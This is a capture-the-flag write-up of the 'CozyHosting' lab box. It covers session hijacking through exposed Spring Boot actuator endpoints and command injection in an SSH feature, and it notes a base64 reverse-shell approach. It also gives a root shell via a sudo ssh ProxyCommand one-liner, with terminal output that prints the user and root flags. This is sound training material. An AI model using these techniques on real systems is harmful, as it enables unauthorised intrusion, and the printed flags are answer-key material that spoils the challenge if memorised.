Looking at hacktricks, it states that one of the common misconfigurations of SpringBoot is the use of actuators.
With reference to this article, it states the following :
The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.
The article also provides a wordlist for directory/file fuzzing at SecList's spring-boot.txt
We can use this wordlist to fuzz all the possible actuator endpoints.
The sessions endpoint provides information about the applicationâs HTTP sessions that are managed by Spring Session.
Visiting the endpoint, we get presented with a bunch of random strings with the username kanderson.
If we try to login with any invalid credentials, we notice a JSESSION id being created with a similar value to the random strings at /actuator/sessions.
Thus, we can come up with the assumption that the random strings are actually session cookies which we can use to login as kanderson.
Immediately we see an interesting function at the bottom where it seems to be running some sort of ssh authentication in the backend.
This is further confirmed upon intercepting the request with burp, it is revealed to be making a POST request to the endpoint/executessh with a error message Host Key Verification Failed, a common ssh error.
If we put a ; in the username parameter, we get a ssh usage output, suggesting that this parameter is vulnerable to some form of command injection.
We can thus try to execute our reverse shell payload, using base64 to reduce the number of spaces and substituting spaces with the IFS trick.
We can then test for password reuse via ssh for the user josh using the cracked password, obtaining the user flag.
âââ(kaliãŋkali)-[~/Desktop/CTF/Boxes/CozyHosting]
ââ$ ssh josh@10.10.11.230
josh@10.10.11.230's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Sep 6 04:53:32 PM UTC 2023
System load: 0.0185546875
Usage of /: 58.8% of 5.42GB
Memory usage: 51%
Swap usage: 0%
Processes: 337
Users logged in: 1
IPv4 address for eth0: 10.10.11.230
IPv6 address for eth0: dead:beef::250:56ff:feb9:f41d
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Sep 6 16:48:01 2023 from 10.10.16.29
josh@cozyhosting:~$ cat user.txt
22df2ef7ff8702a965de417990f63faf
josh@cozyhosting:~$
Privilege Escalation
Using the command sudo -l, we discover that josh has the ability to run ssh as root, probbaly due to the insecure feature on the web application earlier.
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
We can thus reference GTFOBins to obtain a root shell.
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
6d241c85ff618d112b8b6f52edbf613d
#
